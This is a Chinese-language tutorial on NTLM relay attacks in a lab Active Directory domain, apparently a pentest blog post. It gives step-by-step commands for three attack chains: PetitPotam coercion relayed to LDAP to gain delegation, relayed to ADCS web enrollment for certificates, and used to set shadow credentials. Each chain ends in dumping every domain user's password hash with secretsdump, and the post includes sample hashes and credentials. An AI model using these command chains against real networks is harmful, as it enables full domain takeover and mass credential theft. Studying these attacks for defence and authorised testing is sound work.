爱之则不觉其过,恶之则不知其善。
导航
- [0 前言](#0 前言)
- [1 委派](#1 委派)
- [2 ADCS 证书申请](#2 ADCS 证书申请)
- [3 影子凭证](#3 影子凭证)
0、前言
NTLM 中继攻击的流程主要分为三个步骤:触发认证、中继攻击、后利用。其中,
- 触发认证又分为:主动强制认证、被动诱导认证;
- 中继攻击又包括:委派、ADCS 证书申请、影子凭证 等;
- 后利用 则根据 中继攻击 的不同,利用的方式亦有所不同。
在这篇文章中,我们将主要探讨有关主动强制认证的几种中继攻击的利用方法,最终实现权限提升从而完全掌控整个域。
主动强制认证常见的几个漏洞是:PeitiPotam、PrinterBug、DFSCoerce、ShadowCoerce、PrivExchange、Coercer。其中 PeitiPotam 漏洞无需提供域账户便可被检测和利用,因此它也是本文主要被使用的一种强制认证方法。
被动诱导认证:UNC 路径、恶意文档(Word、PDF)、图标文件(desktop.ini、scf 文件)、系统命令。
1、委派
环境简介
- 域名 - skylark.com
- 主域控 - DC2012 - Windows 2012 R2 Standard - 192.168.56.50
- 备域控 - DC2013 - Windows 2012 R2 Standard - 192.168.56.51
- Kali - 192.168.56.20
- 普通域用户 - user【非必须】
攻击条件
- 主备域控就是常规的域环境即可,无其它额外要求。
攻击流程
在本例中,经检测发现备域控存在 PetitPotam 漏洞。为此,我们可以利用该漏洞,强制让备域控以机器账户 DC2013 的身份向 kali 机器发起 SMB 认证。接着,让 kali 将该机器账户的认证信息通过 LDAP 协议中继到主域控,进而在主域控中创建一个具有委派权限(资源约束委派)的机器账户。然后,利用这个机器账户申请域管理员 administrator 的服务票据。最后,通过这张服务票据成功转储了域中所有用户的哈希。具体操作流程如下:
注:在这个例子中,备域控的机器账户所拥有的权限可以在主域控上登录并执行一些操作。而如果换成普通域主机 Win10 的机器账户在主域控上登录并操作的话,应该是不能够成功的。
(1)NTLM 强制认证漏洞检测。
bash
nxc smb 192.168.56.51 -u user -p 'password@123' -d skylark.com -M coerce_plus

可以看到,PetitPotam 漏洞的检测无需提供域用户即可进行。此外,PetitPotam 漏洞的利用也不需要提供域用户。
(2)开启中继监听器。
bash
impacket-ntlmrelayx -t ldap://192.168.56.50 --remove-mic --delegate-access

注:由于 PetitPotam 这类强制认证的漏洞利用都是基于 SMB 协议发起的身份认证,而我们要使用的委派功能 --delegate-access 则必须是基于 LDAP 协议的中继才行。而 impacket-ntlmrelayx 中继利用直接由 SMB 转 LDAP 一定是不成功的,这时 impacket-ntlmrelayx 工具的 --remove-mic 选项便帮上了大忙,它利用某种漏洞提供了一种 SMB 转 LDAP 的绕过方法。当然,如果这个漏洞补丁被打上了的话,那 --remove-mic 选项也无济于事了。
通常情况下,相同协议之间的中继转发一般不会出现问题,只有不同协议之间的转发才容易出问题,例如 SMB 转 LDAP。当然也有例外,例如 SMB 转 HTTP 也不会有什么问题。
(3)执行 NTLM 强制认证利用工具。
bash
python PetitPotam.py -u user -p password123 -d skylark.com 192.168.56.20 192.168.56.51

注:PetitPotam.py 是一个用于触发 Windows 系统上的认证强制 的漏洞利用脚本,它强制目标机器向攻击者发起 NTLM 身份验证请求(SMB),以进行中继攻击(NTLM relay)。
(4)从中继攻击中提取出新创建的具有委派权限(资源约束委派)的机器账户。

可以看到,中继攻击成功执行,并且顺利创建了新的域机器账户:NJCKANET$:hJs5by4D8xfT6KI
。
注:这个机器账户其实只是一个普通的账户,只不过在机器账户 DC2013 的 msDS-AllowedToDelegateTo 属性中指定了这个账户而已。因此,才使得这个机器账户具有了委派请求 cifs/dc2013.skylark.com 资源的权限。
(5)利用具有委派权限的机器账户请求域管理员用户的 ST 服务票据。
bash
impacket-getST -spn cifs/dc2013.skylark.com 'skylark.com/NJCKANET$' -impersonate administrator -dc-ip 192.168.56.50

(6)发起票据传递攻击转储域用户的哈希。
bash
export KRB5CCNAME=administrator@cifs_dc2013.skylark.com@SKYLARK.COM.ccache
impacket-secretsdump -k -no-pass administrator@dc2013.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.51

注意:使用 impacket-secretsdump 工具应用服务票据时,提供给工具的参数尽量和使用 impacket-getST 工具申请票据时提供的参数差异不要太大,尤其是 SPN 字串中涉及的主机名称。
2、ADCS 证书申请
环境简介
- 域名 - skylark.com
- 主域控 - DC2012 - Windows 2012 R2 Standard - 192.168.56.50
- 备域控 - DC2013 - Windows 2012 R2 Standard - 192.168.56.51
- Kali - 192.168.56.20
- 普通域用户 - user
攻击条件
- 主备域控必需要有一个安装 证书颁发机构 和 证书颁发机构 Web 注册 服务。
注意:(1)在安装证书颁发机构 Web 注册服务之前,请先安装 IIS 服务。(2)验证 Web 申请证书服务是否可用,请检查网址 http://192.168.56.50/certsrv/certrqxt.asp 是否可以正常访问。若弹出登录框,可用任意域用户的账户进行登录。
攻击流程
在本例中,经检测备域控发现存在 PetitPotam 漏洞。为此,我们可以利用该漏洞,强制让备域控以机器账户 DC2013 的身份向 kali 机器发起 SMB 认证。接着,让 kali 将该机器账户的认证信息通过 HTTP 协议中继到主域控的 Web 证书注册服务,进而我们便获得了关于机器账户 DC2013 的 kerberos 证书。然后,利用这个证书申请到了机器账户 DC2013 的 TGT 票据。最后,通过这张 TGT 票据转储了域中所有用户的哈希。具体操作流程如下:
(1)NTLM 强制认证漏洞检测及证书 Web 注册服务检测。
bash
nxc smb 192.168.56.51 -u user -p password123 -d skylark.com -M coerce_plus


可以看到,主备域控存在 PetitPotam 漏洞,且主域控还提供了 web 申请证书服务。
(2)开启中继监听器。
bash
impacket-ntlmrelayx -t http://192.168.56.50/certsrv/certrqxt.asp --adcs --template 'DomainController'

(3)执行 NTLM 强制认证利用工具。
bash
python PetitPotam.py 192.168.56.20 192.168.56.51

(4)获得机器账户 DC2013 的 kerberos 认证证书。

可以看到,中继转发成功,我们成功申请到了机器账户 DC2013 的 kerberos 认证证书。
(5)发起 kerberos 证书认证并请求到 TGT 票据
bash
certipy-ad auth -pfx 'DC2013$.pfx' -ns 192.168.56.50

注:Certipy-AD 是一个用于 Active Directory 证书服务(AD CS)攻击与枚举 的强大工具,尤其在执行 AD 证书相关攻击(如 ESC1~ESC8)时非常常用。
(6)通过票据传递攻击转储域用户的哈希。
bash
export KRB5CCNAME=dc2013.ccache
impacket-secretsdump -k -no-pass 'dc2013$@dc2012.skylark.com' -dc-ip 192.168.56.50 -target-ip 192.168.56.50
#或 impacket-secretsdump 'skylark.com/dc2013$'@192.168.56.50 -hashes aad3b435b51404eeaad3b435b51404ee:3a22ea39aa8ab8752381e686a4201661

3、影子凭证
环境简介
- 域名 - skylark.com
- 主域控 - DC2016 - Windows 2016 Standard - 192.168.56.52
- 备域控 - DC2017 - Windows 2016 Standard - 192.168.56.53
- Kali - 192.168.56.20
攻击条件
- 域控的操作系统必须是 Windows 2016+,因为 msDS-KeyCredentialLink 属性自 Windows 2016 才初次引进。
- 主备域控必须要有一个安装了 ADCS 服务,因为只有安装了 ADCS 服务,域控才支持 kerberos 证书认证。【注:在此例中,只有主域控安装了 ADCS 服务,备域控没有安装,因此我们中继的目标便只能是主域控。】
攻击流程
在本例中,经检测发现备域控存在 PetitPotam 漏洞。为此,我们可以利用该漏洞,强制让备域控以机器账户 DC2017 的身份向 kali 机器发起 SMB 认证。接着,让 kali 将该机器账户的认证信息通过 LDAP 协议中继到主域控,进而在主域控中为机器账户 DC2017 新增一个 msDS-KeyCredentialLink 属性并为其生成和设置有关证书认证相关的数字证书信息。然后,利用这个机器账户向域控发起 kerberos 证书认证,从而申请到 DC2017 的 TGT 票据。最后,就可以通过这张服务票据请求到 DC2017 机器账户的哈希,从而就可以通过哈希传递转储域中所有用户的哈希了。具体操作流程如下:
(1)NTLM 强制认证漏洞检测及 ADCS 服务检测。
bash
nxc smb 192.168.56.52-53 -M coerce_plus

bash
openssl s_client 192.168.56.52:636

可以看到,主备域控均存在 PetitPotam 漏洞。同时,主域控还安装了证书颁发服务。
(2)开启中继监听器。
bash
impacket-ntlmrelayx -t ldap://192.168.56.52 --shadow-credentials --remove-mic

(3)执行 NTLM 强制认证利用工具。
bash
python PetitPotam.py 192.168.56.20 192.168.56.53

(4)获得机器账户 DC2017 的 kerberos 认证证书。

可以看到,impacket-ntlmrelayx 不仅为我们申请到了 pfx 证书,同时还提供了利用证书获取 TGT 票据的命令。不过需要注意的是,这条命令不能拿来直接就使用,还需要为其提供 DC2016 的 ip 才行,不然 kali 无法凭域名解析目标机器的具体 IP 地址。【注:要想命令不做修改直接拿来就使用的话,则需要在 kali 的 hosts 文件中添加 test.com 192.168.56.52
映射记录才行。】
(5)发起 kerberos 证书认证请求 TGT 票据。
bash
python3 PKINITtools-master/gettgtpkinit.py -cert-pfx 7Gpc0pVZ.pfx -pfx-pass GThhfSnb30mwB2puuCEc -dc-ip 192.168.56.52 'test.com/DC2017$' 7Gpc0pVZ.ccache

可以看到,TGT 票据被成功请求,同时它还提供了有关机器账户 DC2017 的一个字串信息。
PKINITtools 是专门用于 Kerberos PKINIT 滥用(证书登录)和 Shadow Credentials 攻击链的工具集,在 Active Directory 渗透中非常关键。
(6)根据票据和一个字串获取机器账户的哈希
bash
export KRB5CCNAME=7Gpc0pVZ.ccache
python3 PKINITtools-master/getnthash.py -key 757eebb398a8cc7778fdfad0bc5aa84fd758771852f106a96cbdd2a4c59eb70b 'test.com/DC2017$' -dc-ip 192.168.56.52

可以看到,机器账户的哈希被成功获取。
(7)通过哈希传递攻击转储所有域用户的哈希。
bash
impacket-secretsdump 'test.com/DC2017$'@192.168.56.52 -hashes :76f2514c34440438c4346baf30ae2ad3
